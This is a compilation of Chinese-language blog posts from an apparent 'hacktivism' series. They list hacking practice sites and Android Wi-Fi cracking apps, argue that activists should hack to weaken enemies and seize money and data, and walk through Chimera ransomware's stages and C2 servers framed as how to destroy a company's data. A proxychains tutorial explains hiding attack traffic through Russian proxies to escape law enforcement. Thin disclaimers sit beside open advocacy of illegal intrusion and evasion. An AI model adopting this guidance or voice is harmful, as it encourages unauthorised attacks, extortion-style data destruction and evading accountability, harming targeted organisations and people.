📌 在我们的免费书籍页面上搜索标签 “Security”、标签“hack”、以及 “hacktivism” 以找到相关教程和书籍。

1. Hack This Site

「图」

Hack this site 是一个免费的黑客网站，供黑客们测试和拓展自己的入侵技术。免费注册就可以开始。注册成功后，您会发现任务分为几大类，如 phreaking、forensics、steganography 等。

这个黑客网站还为您提供了道德黑客的相关文章和论坛，用户可以在论坛上讨论与网络安全有关的问题。希望您能在这里遇到大公无私的高手。

Visit Hack This Site

2. Hack The Box

「图」

Hack The Box 是最好的黑客网站之一，可以用来测试您的技能。和 Hack This Site 一样，任务也分为各种类别。这个网站也有很多可用机器，在规定的时间内不断更新。

加入 Hack The Box 您需要接受他们的黑客邀请码挑战。第一步是在网站上注册。

Hack The Box 是免费的，但也包含私人实验室。初学者和专业人士都适合。

Visit Hack The Box

3. Root Me

「图」

在这个黑客网站上有多达377个挑战供您选择。它是本列表中最好的黑客网站之一，可以为您提供一个学习很多黑客技术的方法。

有几十个虚拟环境您可以访问，只需点击几下。这可以给您一个现实的学习环境，没有任何限制。

这是一种快速、简单、实惠的黑客技术培训方式。要使用这个网站，您需要注册。

该网站有英语、法语和德语版本。

Visit Root Me

4. Pentester Lab

「图」

该网站提供了很多可以用来测试入侵的脆弱系统，涵盖了从基本漏洞到高级漏洞的所有内容。它提供了一个很好的环境可以帮助您的学习，您也会从中获得乐趣。

这里是学习渗透测试最简单方便的方法。您可以用在线和离线两种方式处理漏洞。在线选项仅适用于那些拥有 Pentester Lab Pro 订阅的用户。

如果您是学生，pentester lab pro 订阅费为34.99美元/3个月，如果您是普通个人，那么费用为19.99美元/月或199.99美元/年。

Visit Pentester Lab

5. Game of Hacks

「图」

通过这个黑客网站，您可以轻松地以一种有趣的方式测试您的黑客技能。在这个网站上，您会看到一段脆弱的代码，您的任务是找出在给定的代码中存在的漏洞。

使用这个网站您甚至不需要注册。

它也将有助于提高您的编码技能。

Visit Game of Hacks

6. Hack Me

「图」

Hack.me 是一个由 eLearnSecurity 提供支持的免费的、基于社区的项目。该网站包含了大量的易受攻击的网络应用程序，您可以在上面测试并提高黑客技能。

这个平台对所有人都是免费的，没有任何限制，只需要您在网站上注册，然后就可以开始使用。

您可以在一个隔离的沙盒中测试您的黑客技能。

Visit Hack Me

7. Defend the Web

「图」

如果您正在寻找一个 Hack this site 的替代品，那么这个网站是最好的选择。它也包含了很多不同级别的任务。通过在网站上执行这些任务，您可以提高自己的技能，从初学者升级到高级水平。

在成功完成任务后，您将根据相关任务的难度等级获得积分。

Defend the Web 的团队还为您提供了很多道德黑客文章，同时他们还有一个黑客论坛，您可以在这里讨论您在解决任务时遇到的错误或问题。

Visit Defend the Web

8. Hellbound Hackers

「图」

Hellbound hacker 是另一个最好的黑客网站之一，您会发现这里的大部分任务都是独一无二的，如应用程序补丁和限时任务。在补丁任务中，您会得到一段脆弱的代码，您需要为此提出修复建议。

网站上有很多黑客文章，这些文章也会帮助您提高技能。您也可以在它的黑客论坛上讨论您正在完成的任务。

只需要在网站上注册就可以开始收到黑客任务。

Visit Hellbound hackers

9. OverTheWire

「图」

OverTheWire 社区为您提供对战游戏，通过这些游戏，您可以以一种有趣的方式测试和提高自己的技能。

要想玩这些游戏，您需要使用SSH端口连接。请注意，每个游戏都有不同的SSH端口。

Visit OverTheWire

10. Enigma Group

「图」

Enigma 是最古老的黑客网站之一，提供超过350＋的任务，所有任务都集中在 OWASP 前10名。这个网站每周以及每月都会举办CTF挑战赛。

您只需要在网站上注册就可以开始完成任务了。

目前，该网站拥有超过20,230名用户。

Visit Enigma Group

11. Google Gruyere

「图」

这个网站有很多漏洞和bug，最适合那些刚开始学习应用安全的人。

它会向您展示如何利用任何网络漏洞，以及如何保护自己。

通过这个网站，您可以很容易地使用XSS和CSRF等常用攻击方式来入侵Web应用程序。

您甚至不需要注册就可以使用。

Visit Google Gruyere

12. w3challs

「图」

w3challs 为您提供安全挑战，帮助您练习道德黑客技能。您会在这个网站上得到大部分的CTF任务。

如果您在任务中严重卡壳，还可以在他们的论坛上寻求帮助。

Visit w3challs

最后

「图」

以上是一些最好的黑客网站，您可以通过进行渗透测试和利用漏洞来合法地提高您的黑客技能。请注意，不要非法入侵任何个人网站，未经许可入侵他人或组织都很可能会让您陷入麻烦。〇

原文

适用于Android的11种最佳Wi-Fi黑客应用程序 - iyouport

hacktivist黑客主义

【2021年4月27日存档】用来测试您自己的网络的安全性，及时弥补漏洞。切勿在未经许可的情况下入侵他人的网络，那是非法的！

这篇文章将列出一些最好的 Wi-Fi 黑客的 Android 应用程序。您可以在自己的网络上测试这些Wi-Fi黑客应用。

您可以通过这些应用程序做很多不可思议的事，如审核安全性，入侵 wifi 网络，获取 Wi-Fi 密码、类型，数据传输，以及更多。

要想在您的安卓系统上运行这些应用程序，并取得100%的效果，请确保您的手机已经root。如果没有root，也不用担心，您仍然可以在没有root的情况下使用这些应用程序，但是成功率会降低。

适用于**Android**的最佳**Wi-Fi**黑客应用程序

1. WPA WPS Tester

「图」

安卓版 WPA WPS Tester 是最受欢迎的Wi-Fi黑客应用之一，它是为扫描Wi-Fi网络的漏洞而开发的。

这款著名的应用程序以其突破安全系统的能力而闻名。它使用 WPS-PIN 检查与接入点的连接，这是使用各种算法计算出来的。这款应用需要安卓4.0或更高版本才能运行。

这款应用还提供 Bruteforce 模式。该应用程序还可以发现启用了WPS的接入点是否是无敌的。

注：使用此应用可以测试PIN码，您可以连接，但如果没有root权限

就无法看到密码。

WPA WPS Tester 在 Google Playstore 上有售。

Download WPA WPS Tester

2. Aircrack-ng

「图」

Aircrack-ng 是安卓系统中最好的破解 Wi-Fi 网络的应用之一。它是一款 802.11 WEP 和 WPA-PSK密钥破解程序。

它实现了标准的FMS攻击以及一些优化，如 KoreK 攻击，以及 PTW 攻击，从而使攻击速度比其他WEP破解工具要快很多。

在 Android 上运行 Aircrack-ng 并不棘手，最难的部分是获得一个支持监控模式的Wi-Fi芯片组。

您可以通过以下链接从 GitHub 下载 Aircrack-ng。

Download Aircrack-ng

3. zAnti

「图」

zAnti 是一款著名的破解Wi-Fi网络应用，它可以让您分析Wi-Fi网络的风险等级。

在 zAnti 的帮助下，您可以轻松找出Wi-Fi网络的漏洞。它的Wi-Fi扫描器可以显示使用默认密码值的接入点，并以绿色高亮显示。

您也可以使用这个应用程序来切断必要的连接，阻止访问任何网站或服务器。通过显示黑客使用的方法，您可以找出您的网络中的安全漏洞，并进行适当的修正。

Download zAnti

4. WPS Connect

「图」

WPS Connect 是另一款最好的 Android 应用，用于破解 Wi-Fi。这款应用适用于许多路由器，只需在手机上下载这款应用并搜索wifi网络即可。您也可以从这个 Android 应用中查看保存的 wifi 密码。

WPS 可以检查您的路由器是否容易受到默认密码的影响。它包含了 ComputePIN 和 easyboxPIN 等额外算法。

Download WPS Connect

5. Kali Nethunter

「图」

几乎所有人都知道著名的操作系统 Kali Linux。Kali Linux 的创造者创造了 Kali Nethunter。

要使用这款应用程序来破解Wi-Fi，您需要在Kali上运行 Wifite 实用程序。Nethunter 的配置界面相当方便，任何人都可以很容易操作。它使用了一个支持 Wi-Fi 802.11 注入的自定义内核，使 Kali Nethunter 成为Android上有用的Wi-Fi黑客工具。

Download Kali Nethunter

6. 安卓版Reaver

「图」

Reaver For Android 的简称是RFA。RFA是一款破解Wi-Fi密码的黑客应用。RFA使用起来很方便，因为它有一个友好的界面。

它支持监控模式，可以随时激活或停用。Reaver 可以独立发现支持WPS的Wi-Fi路由器。

这款应用程序使用 WPS Registrar 的PIN码，可以恢复 WPA/WPA2 密码短语。

Reaver 可以在2–5小时内收到目标接入点的 WPA / WPA2 密码短语。Reaver for Android 还支持外部脚本，有一个用户友好的界面。

要使用RFA，您还需要安装 bcmon.apk。

Download RFA and Bcmon

7. Router keygen

「图」

这是一款知名的Wi-Fi黑客应用，它一直在发展，但基本上，它的作用是获取没有修改密码的网络的Wi-Fi密钥，也就是使用出厂密码。在启动应用时，它会在对您周围进行扫描后，告诉您它支持哪些网络，不支持哪些。

Download Router Keygen

8. WIBR＋

「图」

WIBR＋ 是安卓系统中最好的Wi-Fi黑客应用之一。WIBR＋是为了测试 Wi-Fi 网络的安全性和完整性而创建的。使用暴力攻击和字典攻击。

此外，WIBR ＋ Wi-Fi 密码破解应用还允许您使用自定义字典。为了进行字典攻击，根据您的优先级，您可以使用小写和大写字母、数字和特殊字符进行各种攻击选项。

WIBR ＋ 破解密码所需的时间取决于密码的复杂程度和您将选择的字典类型。

Download WIBR＋

9. Netcut

「图」

Netcut 是一款可以切断特定设备的互联网连接的应用程序。使用简单的界面，您可以摆脱蹭网的人。

它的其他功能还包括显示设备使用的流量、网络名称，以及捕捉其他设备访问的网站流量。

请注意，要想使用 Netcut，您需要root权限。

Download Netcut

10. Nmap

「图」

Nmap for Android 是一款有用的应用，用于破解Wi-Fi，查看可用的主机、服务、包、防火墙等。

Nmap for Android 对 root 设备和普通 Android 设备都很有用。不过，没有 root 权限的用户将无法使用该应用的高级功能，比如SYN扫描和接收操作系统签名。

其开发者已经发布了支持 OpenSSL 的Nmap编译二进制版本。

Download Nmap

11. dSploit

「图」

dSploit 是由 Simone Margaritelli 为Android操作系统开发的一款网络分析和渗透测试工具。

据该工具的开发者介绍，这款应用提供了最完整、最先进的工具包，可以进行 Wi-Fi 扫描和路由器密钥破解、多协议登录破解器、支持局域网唤醒的数据包伪造、HTTPS重定向、中间人攻击、会话劫持等任务。

Download dSploit

最后

「图」

您可以使用这些应用程序来测试自己的Wi-Fi网络的安全性。

没有任何设备或网络是完全安全的。白帽安全研究人员以及知名黑客一直都在不断努力寻找网络中的漏洞。

与有线网络相比，Wi-Fi网络带来了额外的安全问题。由于其信号几

乎人人都可以使用。各种安全功能，如WPA2，可以对流量进行加密，但仍有一些功能会破坏您的安全性。

- 不要错过《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《Wi-Fi是如何出卖你的？Wi-Fi是如何出卖你的？》

为了测试您的Wi-Fi的安全性，您需要使用各种工具和方法。

本文仅用于教育目的。切勿使用这些工具去入侵他人的**Wi-Fi**网络，那是非法的。〇

11 Best Wi-Fi Hacking Apps For Android

原文

革命斗争中黑客的力量和潜力，以及一些资源 - iyouport

2025年11月21日 11:30
hacktivist黑客主义

【2021年4月13日存档】关于与更广泛的革命运动和斗争有关的黑客攻击的力量和潜力

【按】我们去年开始了黑客主义专题。因为它是21世纪最典型的反抗形式。在技术时代，尤其是在 Hactivism 崛起的时代里，反抗是可以不必上街的 ……

技术反抗相比街头运动的优势在于，您不必担心自己 “没有武器”。因为技术

> 同时，弱点在于，技术反抗的门槛较高，可能难以普及。当然，它也不需要普及，它不是传统街头运动那样需要追求宏大的参与者数量，技术反抗就如五角大楼文件所描述的场景，只需要极少数技术人士开发出入侵工具，其他所有人直接使用。

IYP的内容包含技术反抗，也包含传统的街头运动，如您所知，当今的反抗运动已经很大程度上不再聚焦于街头了，虽然街头仍然是一部分，但是年轻人主导的抗议运动将专注于Z世代最强有力的武器，即：数字技术和技能。

互联网早已成为承载全世界各国政治、经济、军事、文化的全新空间；换句话说，是角逐的战场。那么，民间行动派能从中寻找到哪些契机？《黑客主义行动力—— 作为开端的入门手册》

有很多关于对黑客的误解。其中最大的误解是，你必须是某种神童才能做到这一点；另一个是，这些知识是晦涩难懂的，是不可企及的，或者说如果不能啃玩枯燥的700页技术书是不可能学会的 …… 还有一种误解则是，大黑客的时代已经结束；或者即将结束—— 所有这些都不是真的。

首先，这篇文章并不是来自于任何明确的专业水平，也 *肯定不是

* 鼓励人们去做一些他们没有准备好的非法的或愚蠢的事。相反，本文希望结合对进攻性黑客行为的革命性政治分析，鼓励反抗者在计算机/网络安全方面建立分析能力和具体技能—— 希望能增长这些技能所蕴含的解放可能性。

其次，运动必须认识到自由软件的巨大潜力，大部分还没有被开发。创造能促进真正自由事业的软件是非常有价值的。它不仅有可能保护自由，而且，有可能扩大自由。

希望在未来8年左右的时间里，我们可以让FOSS（自由开源软件）的替代品超越谷歌、Facebook 和其他寡头科技公司，打破监视资本主义经济。为了加速这一进程，请查看搜索引擎 SearX 和 Disconnect，还有 Scuttlebutt，最后一个是一个非常有趣的去中心化社交媒体创作。

📌 如果您正在寻找这些打破监视资本主义体制的自由开源软件替代品，不要错过这里的汇总：《安全工具箱补充版：分类工具列表（2）》。

虽然这种创造有其存在的意义，但本文希望讲述的是人们如何培养开展进攻性活动所需的知识和技能。

如今，黑客攻击从来没有这么容易，也没有这么容易获得。计算机安全是一种几乎任何人都可以学习的技能。可以在 YouTube 这样的网站上学习，也可以在初级学院、大学或者 Lynda 和 Udemy 这样的在线学习中心学习。在深层网络上还可以找到更多有志于黑客技能的课程和论坛。

要明确的是，黑客一直都在发生。这一点业内人士都很明白。很多人认为这些重大黑客大多与国家行为者或有组织犯罪有关，但这不是事实；自 “匿名者” 崛起后，很多攻击似乎都是政治性的和反抗性的。

2012年是自主的、有政治动机的黑客攻击的一个高潮，至少在知名度上是这样。一个很大的弱点是，政治黑客，尤其是 Hector Monsegur 这种，当时显然几乎没有法律安全知识来补充他的计算机安全知识。当FBI来敲门时，他显然对他们的威胁信以为真了，翻脸比翻书还快。

【注：赫克托·泽维尔·蒙塞古尔（Hector Xavier Monsegur），又名萨布（Sabu），是美国计算机黑客，也是黑客组织 LulzSec 的共同创始人。蒙塞古尔（Monsegur）面临124年徒刑，结果是，他成为了FBI

的告密者，与该机构合作了10个月以上，以帮助间谍们从 LulzSec 和相关团体中抓捕其他黑客。】

他与国家政权的合作后来导致了 Jeremy Hammond 的被捕。

如果 **Hector Monsegur** 能找到反抗的勇气，坚持自己的原则，今天的革命运动可能就会更加强大，他最后的刑罚可能会比他变成当权者的合作者对 Hammond 造成的刑罚更轻。

【注：杰里米·哈蒙德（Jeremy Hammond）来自芝加哥的美国活动家和计算机黑客。他于2003年创建了计算机安全培训网站 HackThisSite。2013年，他因黑客入侵私人情报公司 Stratfor 并将数据发布到 WikiLeaks，而被判犯有计算机欺诈罪，并被判处10年徒刑。】

其他黑客攻击的例子不是来自革命运动，而是来自犯罪集团甚至政府本身。

在2016年对沙特石油公司 Aramco 的攻击中，攻击者一度将电脑屏幕换成了著名的3岁叙利亚溺水男孩艾兰·库尔迪的令人心痛的画面。

袭击的目标本来是摧毁一个石油设施，因为该石油设施杀死工人，但最终失败了。不过这次袭击还是让 Aramco 公司损失惨重，只是其损失没有攻击计划中所预期的那么大而已。事实上，这是近年来针对 Aramco 公司的第二次重大袭击，有人猜测伊朗国家可能对此负责。https://t.me/iyouport/6865

2016年，孟加拉国的黑客入侵了据说是“超安全”的国际银行业务 SWIFT系统，卷走了8100万美元。这其实又是一次拙劣的攻击。如果它完全成功了，那么拿走的钱将达到数十亿美元。

📌 对于社会运动来说，黑客攻击的可能性是非常大的，堪比无政府主义的盗用旧数据或数据劫持。黑客行为不仅有可能削弱一个运动的敌人，也有可能征用金钱和信息，以加强世界范围内的无政府主义反抗。比如维基解密曝光的外交电报直接导致了针对突尼斯独裁者本·阿里的大型抗议活动，掀起了阿拉伯之春。

📌 国家对过去黑客攻击世界资本主义秩序的反应有两个方面。第一，报复。黑客们纷纷入狱，尤其是在美国。相比之下，英国则宽松得多，允许前政治黑客转型为舒适的安全工作，为所谓的“好人”工作。

📌 这就是第二种对策；合作化。世界各地的学校和网上都有黑客必备的技能教授。甚至还有 Defcon 这样的黑客大会。那为什么像匿名者或 **LulzSec** 这样的黑客组织从来没有屈从于世界统治者呢？如果有人声称给你10万美元，让你停止你参与的任何政治组织或活动，你会接受吗？或者，你会在说 “不” 之前犹豫不决最终坚持自己的原则吗？

这个问题类似于曾经叛逆的黑客文化是如何被国家带入的。现在计算机安全领域最熟练的人都被私人公司或者国家间谍系统本身安稳地雇佣了。打不过他们，就加入他们？

📌 如果社会运动和斗争想看到更多的黑客，使反抗运动受益，那么他们需要满足黑客对攻击系统的需求，但要以一种极其道德的方式进行。

一种方法可以是用现有的计算机安全知识来 “激化” 人们，但这可能不会很有效。运动可以完成的工作是开始掌握黑客技能，然后把这些技能分发给尽可能多的人。这可以通过无政府主义者与设定区域内的黑客团体联盟来实现（全世界很多城市都有这些团体），从长远来看，还可以通过举办独立的黑客研讨会和比赛来实现。

如果无政府主义者希望反专制的黑客行动能够发生，那么我们的运动就需要自己学习这些技能，并以技术和政治上的理解帮助传递给其他人。

那么去哪里学习？黑客技能的一个重要部分是社交工程。这意味着有能力进行人与人之间的心理层面互动，从而使你能够有机会获得权威机构规定你不应该拥有的知识或权限。这就是为什么我们有 “社交工程” 专栏，人是最大的漏洞；所有黑客都应该是心理学大师。

尤其是，这种非技术层面的东西对一些人来说可能是一个很好的起点。很多针对公众人物的恶作剧电话等都是单单利用社交工程技术进行的。比如2019年 Lindsey Graham 的例子。

入侵可能并不容易，但现在比以往任何时候都要容易，大多数人都能学会，就像你学其他东西一样。也许你做到了我们的文章中介绍到的这一步，但还是无法想象自己黑入大型系统的样子。大众媒体向人们展示的黑客都是已经知道如何做一切的天才，可他们没有把学习的过程形象化。没有人天生就会这些东西，也没有任何一个年龄段会被认为 “太老”了不能学习黑客和计算机安全知识。

📌 反抗者需要将黑客重新政治化。

在专业的学术和在线学习空间里，任何试图入侵系统的人都会被默认为 “坏人”。而反抗者应该进入和创造黑客的空间，在这里，黑客应该被注入反权威的政治和历史上革命运动的经验教训。

有一些好的方法可以扩展你的技能组合：

1、Anonymity / Security: 最好的无政府主义资源之一 关于计算机安全。它的所有内容都是用通俗易懂的语言编写的，是一个很好的介绍。

2、CrimethInc：对革命黑客 Phineas Fisher 的采访。

3、Hack This Zine。

4、在 YouTube 上观看黑客视频。查看有关 TOR 和计算机网络基础知识的教程。包括：

5、社区协助：这也是IYP一直推荐的方法。在您的社区中和小伙伴一起学习网络安全知识，互相帮助，年轻人经常比上年纪的人更擅长技术。你甚至可能会从中遇到一些未来的亲密团队同伙。

但要小心，不要一上来就谈论你的真实感受或意图 —— 很大程度上黑客主义应该是独立完成的或与最可信的队友合作完成，您不应该让不够熟悉的人了解您的意图。直到你熟悉这些人，能确保实践良好的老式的人与人之间的安全文化。

要知道，学术界的计算机安全领域都有一种默认的固有的文化就是抵制激进。如果你去那里说你想黑掉资本主义体制，绝对是个坏主意。

6、在线课程：Udemy 可能是最好的。 去IT安全部分，看看他们的课程是如何细密地包裹着防御性黑客的语言。 你也可以期待在新年、黑五、网络星期一、圣诞节、情人节和母亲节前后，所有东西都会降价的时候订购课程。 海盗湾也是个好主意，去那里搜索 “黑客” 和 “安全”，就开始玩吧。

7、读书：我们提供过很多书籍，都是新版的！您可以随便选，其中很多书籍都照顾初学者。在我们的书籍页面上搜索标签：“**hacktivism**”、“**hack**”、“**security**”，或者点击这些链接，可以找到它们；“社交工程” 也有的。

8、播客：初学者可以看看 TorrentFreak 的播客，它特别入门级，有大量图片。而且反抗政治也是相当不错的。他们还有很多关于技术和社会走向的其他非常酷的采访。安全特定的播客也值得一试，但他们会更有技术含量，对初学者不太友好。

综上所述，黑客行为确实为反抗运动和人权斗争提供了无与伦比的、前所未有的力量，可以向权威发起挑战并取得胜利，但是，人们必须聪明地对待它，考虑所有可能的结果。保护性是战斗的第一步。

请始终清楚地知道您自己在做什么。

我们的 “黑客主义” 专题板块在列表-5 中。〇

原文

Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1） - iyouport

hacktivist黑客主义

【2020年6月2日存档】本系列将收集这部聚集中出现的攻防技巧，它们是真实的，并对现实中的诸多目标有用

这里是 “黑客主义行动力” 系列的第一篇。本系列将总结并分析《Mr. Robot》中出现的一些抵抗行动技巧，尤其是它使用的相关技术。

提前说明，对于那些有程序正义洁癖的反抗者来说，本系列中有些内容可能会令您感觉不适，我们只是希望介绍一些方法 —— 不论您是希望防御攻击，还是准备***，这些知识都是有用的。

再一次：不要做坏事！

前言

「图」

在《Mr. Robot》结尾，Elliot 和 “去社会” 成功完成了他们的任务，即 使用AES-128 对邪恶公司的所有数据进行加密，并销毁了密钥。

现在，所有邪恶公司旗下的服务器 —— 包括世界上的消费者债务和助学贷款的70% —— 的数据已被成功摧毁，终结了这些暴政黑手的剥削压榨。

本文来看看 Elliot 是怎么做的，或者说……他们怎么可能做到这点。

由于该剧集的细节有些含糊（可能是为了剧情紧凑，它略过了一些技术性的信息），因此，我们来研究一下曾经在欧洲出现的类似攻击。

快速回顾剧情

「图」

看过这部剧集的人都知道，Elliot 和去社会组织在用树莓派 Raspberry Pi 入侵HVAC系统时摧毁了 Steel Mountain 持有的所有备份磁带，他们将存储设备中的温度调高到足以使备份无法使用的程度。

（Elliot 将将树莓派接入 Steel Mountain 内网后，入侵其温控系统，可使存储在 Steel Mountain 的磁带备份被烧毁）

（介绍：Steel Mountain 是一家数据安全设施，总部位于奥尔巴尼附近的阿迪朗达克山脉。凭借其钢制大门、武装警卫、和全面的CCTV监视系统，Steel Mountain 为标普500指数中的大多数寡头公司 —— 包括 E Corp —— 提供了信息管理服务）

由于磁带无法使用，Elliot 随后不得不销毁邪恶公司服务器上的数据（在免于被追踪的情况下）。如您所知，删除服务器上的文件不会彻底删除数据。Elliot 和他的队友也知道这一点，因此他们决定改用AES加密数据。

这样，数据仍然存在，但对于邪恶公司来说是不可识别的。

以 Chimera 为例

「图」

2015年，在德国发现了一种新型的勒索软件，被称为 Chimera。

请注意它被用来攻击德国的大企业，而不是像普通的勒索软件那样针对消费者。这是与《Mr. Robot》一致的。

由于大多数勒索软件的工作方式相似，因此，我们将其用作 Elliot 和去社会组织破坏邪恶公司硬盘驱动器上的数据的模型。

null-byte 总结了 Chimera 的工作原理，为简洁起见，省略了一些步骤。

如果您想要 Chimera 的副本进行自己的详细分析，null-byte 已经将其发布在此处的 Pastebin 上了。

第一步：传播恶意软件

「图」

就像近年来出现的许多勒索软件一样，Chimera 是通过电子邮件发送的，可能带有社交工程学组件，以诱使目标人点击链接或文件。它是用.NET编写的。

「图」

在此第一阶段，Chimera 最初将可执行存根传递给受害者，该存根的唯一工作是调用、解密和解码第二阶段的有效负载。

第二步：**AES**加密算法

第二阶段是加密和编码的有效负载，其中包含一种显然是AES加密算法的方法。

AES加密算法涉及4种操作：字节替代（SubBytes）、行移位（ShiftRows）、列混淆（MixColumns）和轮密钥加（AddRoundKey）

Elliot 和他的同事很可能会使用此方法或类似方法来加密邪恶公司的数据。

可能会使它在多个线程中运行以加快进程。考虑到邪恶公司那类的目标可能拥有PB级数据的事实，将其全部加密将需要一些时间。

第三步：映射到内存

「图」

在下一阶段，Chimera 手动将其进程映射到内存。这就很有可能会绕过 Windows 和其他操作系统中内置的 ASLR 和 DEP 保护。

这些保护将进程可能在内存中的位置随机化，由于恶意软件无法预测指针的位置，因此更难以实现缓冲区溢出。但通过映射到内存，可以使恶意软件更有可能按预期运行。

第四步：查找要托管的**32**位进程

「图」

接下来，Chimera 遍历每个 Windows 进程，寻找可以承载其有效负载的32位进程，然后将其打开。

第五步：查找本地IP

「图」

接下来，该勒索软件使用 whatismyipaddress.com 查找被感染机器的IP。然后将该值存储在变量中。

「图」

第六步：回调到命令和控制服务器

「图」

一旦 Chimera 获得了被感染主机的IP，它便会调出其命令和控制（C＆C）服务器。在这种情况下，这些服务器位于 95.165.168.168 和 158.222.211.81。

Chimera 使用 Bitmessage 在端口8444和8080上通过P2P协议进行通信。

Bitmessage 是一种安全的加密P2P消息传递系统，使一个人可以将消息发送给一个或多个收件人。您可以在下面的屏幕快照中看到 Chimera 调用Bitmessage客户端 PyBitmessage。

「图」

第七步：浏览并查找硬盘驱动器，然后是文件

「图」

接下来，恶意软件必须找到存储数据的硬盘驱动器。它需要浏览每个逻辑驱动器，然后将这些位置存储到变量中，以供以后在加密过程中使用。

第八步：获取随机密钥

「图」

现在，Chimera 已成功接管了32位进程，并将其自身映射到内存中以避免ASLR，它需要回调其命令和控制服务器以获取用于加密文件的随机密钥。

「图」

一旦从命令和控制服务器获得了随机密钥，Chimera 就会从上面的步骤2中调用AES加密算法中的函数，并开始对关键文件进行加密。

在开始加密之前，它将查找以下文件类型：

.jpg, .jpeg, .xml, .xsl, .wps, .cmf, .vbs, .accdb, .ini, .cdr, .svg, .conf, .config, .

👉这些文件类型可能对业务运营至关重要。这些是图形文件、电子表格文件、数据库文件、备份文件、电子邮件文件、Java文件、音频文件、视频文件、和加密密钥。没有它们的话企业将瘫痪 —— 于是，它们就是让企业瘫痪的按钮……

第九步：赎金要求

「图」

最后，Chimera 向企业主索要赎金。

请注意，浏览器及其相关文件免于加密，以启用浏览器请求并接收赎金。

我们更喜欢《Mr. Robot》中的工作方法 —— “戴上这个面具，把钱烧掉” 😊。

感谢马耳他瓦莱塔的 ReaQTA 人员发现、拆卸和分析了该恶意软件（并提供了屏幕截图）。〇

How Elliot & Fsociety Destroyed Evil Corp’s Data

原文

Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2） - iyouport

hacktivist黑客主义

【2020年6月12日存档】这种情况下不要用Tor

如果您还没有读过第一部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》

在第一季结束时 Elliot 和 “去社会” 组织成功地击败了邪恶公司。他们有效地销毁了全球70％以上的消费债务和学生债务，终于自由了！

当然，全球金融市场也崩溃了，但那是另一回事。

尽管有许多因素使这次攻击获得成功，例如 Darlene 开发的零日漏洞利用程序，但他们的确成功绕过了入侵检测系统、防火墙或防病毒软件，Elliot 还确定使用代理令邪恶公司无法将入侵行为追溯到他。

此前，Elliot 的治疗师说过她已经被 Elliot 入侵，她说他使用的是代理几乎无法被追踪。

本文将介绍如何做到这件事。

代理如何工作

「图」

如您所知，每当您通过互联网访问（或黑客入侵）网站或服务器时，您唯一的IP地址都会紧跟着您。因此，仅通过跟踪源IP地址来跟踪攻击的源头是很容易的。

几乎所有黑客都会使用代理来隐藏或模糊其IP地址；也就是将流量发送到中间代理，代理再将流量发送到目标，用其自身替换源IP地址。

这样，恶意流量看起来似乎来自代理而不是原始发送者。

有多种类型的代理。 Tor是最受欢迎的匿名代理之一。⚠尽管Tor可以有效地挡住如谷歌那种监视资本主义寡头的追踪监视，但可能挡不住强大的政府间谍，比如NSA那种。

就如 Elliot 最初在咖啡店里向那个儿童色情贩卖者所解释的那样，“谁能控制出口节点谁就能控制流量，也就是说控制权在我手里。” 他拥有出口节点，拥有流量，也因此拥有用户的身份。

现在来看看 Elliot 和 “去社会” 如何在他们的黑客行动中隐藏身份。

第一步：Kali

「图」

首先，启动 Kali Linux。如果还没有安装，可以在这里下载。

第二步：转到 Proxychains

「图」

下一步就是代理链。

kali 」 proxychains

它会向您显示简单的 proxychains 句法。基本上，设置代理链后，您要做的就是在要运行的命令之前加上 “proxychains”，这样所有的流量都将通过您选择的代理。

如果您使用浏览器，那么就是：

kali 」 proxychains iceweasel

「图」

第三步：搜索代理

「图」

为了设置代理链来隐藏IP地址，您需要选择一个代理。网络上有许多

站点，其中包含免费和付费的代理列表。比如下面这些（还有更多）：

- Hide My Ass!
- SamAir Security
- Proxy4Free
- Hide.me

尝试使用 SamAir Security。进入网站就可以看到他们的免费代理列表。

在页面底部附近可以看到他们已经按国家对代理进行了排序。在剧中，Elliot 使用的是爱沙尼亚的代理，这个列表中也有。

单击它，可以看到在爱沙尼亚的这个代理是透明代理。这意味着它不会隐藏你的IP。那行不通！

「图」

相反，来尝试一下俄罗斯代理的列表。

☞由于欧盟和美国执法机构对俄罗斯没有管辖权，因此许多黑客使用俄罗斯代理。这意味着很少或根本没有机会追踪其身份。这也算是地缘政治的技术性玩法了。

可以看到，该列表中俄罗斯有5个“高匿名”代理。那就选其中之一吧。

第四步：配置代理链

「图」

现在有了潜在的匿名代理列表，您必须配置代理链来使用它。

与几乎所有 Linux / Unix 应用一样，配置由纯文本文件完成。这些文件通常位于 */etc* 目录中。在这种情况下，可以在以下位置找到代理链的配置文件：

/etc/proxychains.conf

可以使用任何文本编辑器打开它，这里使用的是 Leafpad。

kali 」 leafpad /etc/proxychains.conf

默认情况下，代理链设置为使用Tor。正如 Elliot 在第一集中所述，控制 Tor 出口节点的人就可以控制流量。当然政府间谍和警察也知道这一点，所以使用Tor不是好办法。

要禁用 Tor，只需在64行之前添加一个注释标记（ # ）。

「图」

现在，要使用上述俄罗斯代理之一，只需要添加该代理的类型（http）以及IP地址和端口，就像上面所做的那样。然后，保存 *proxychain.conf* 文件并关闭它。

第五步：通过代理发送流量

「图」

只需键入以下内容即可打开 Iceweasel 浏览器：

kali 」 proxychains iceweasel

「图」

现在，您的所有流量都将通过该代理，并且如果有人检查流量，它会看上去似乎来自该代理。

就是这么简单！您学会了吗？〇

How Elliot & Fsociety Made Their Hack of Evil Corp Untraceable

原文

如何在音频文件中隐藏秘密信息：黑客主义行动力（4） - iyouport

hacktivist黑客主义

【2020年7月10日存档】方法非常简单。对于敏感人士来说，我们会极力推荐类似的方法

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》

随着剧情的发展，很明显，Elliot 入侵了他认识的所有人（包括他自己），然后将他发现的信息存储在CD上。然后，他用一些经典的乐队名字给这些CD贴标签。

许多人想知道他为什么要这样做，这种做法的安全性如何？

答案是 Eliot 将这些CD上的数据隐藏起来了。他实际上是将音乐复制到这些**CD**，然后在其上嵌入加密信息，只有他自己才能恢复数据。

因此，找到这些CD的任何人都只会听到音乐，并且将无法找到或检索隐藏其中的信息。

这样，Elliot 收集的关于他的朋友和熟人的数据就不会受到执法人员或其他任何人的窥探。

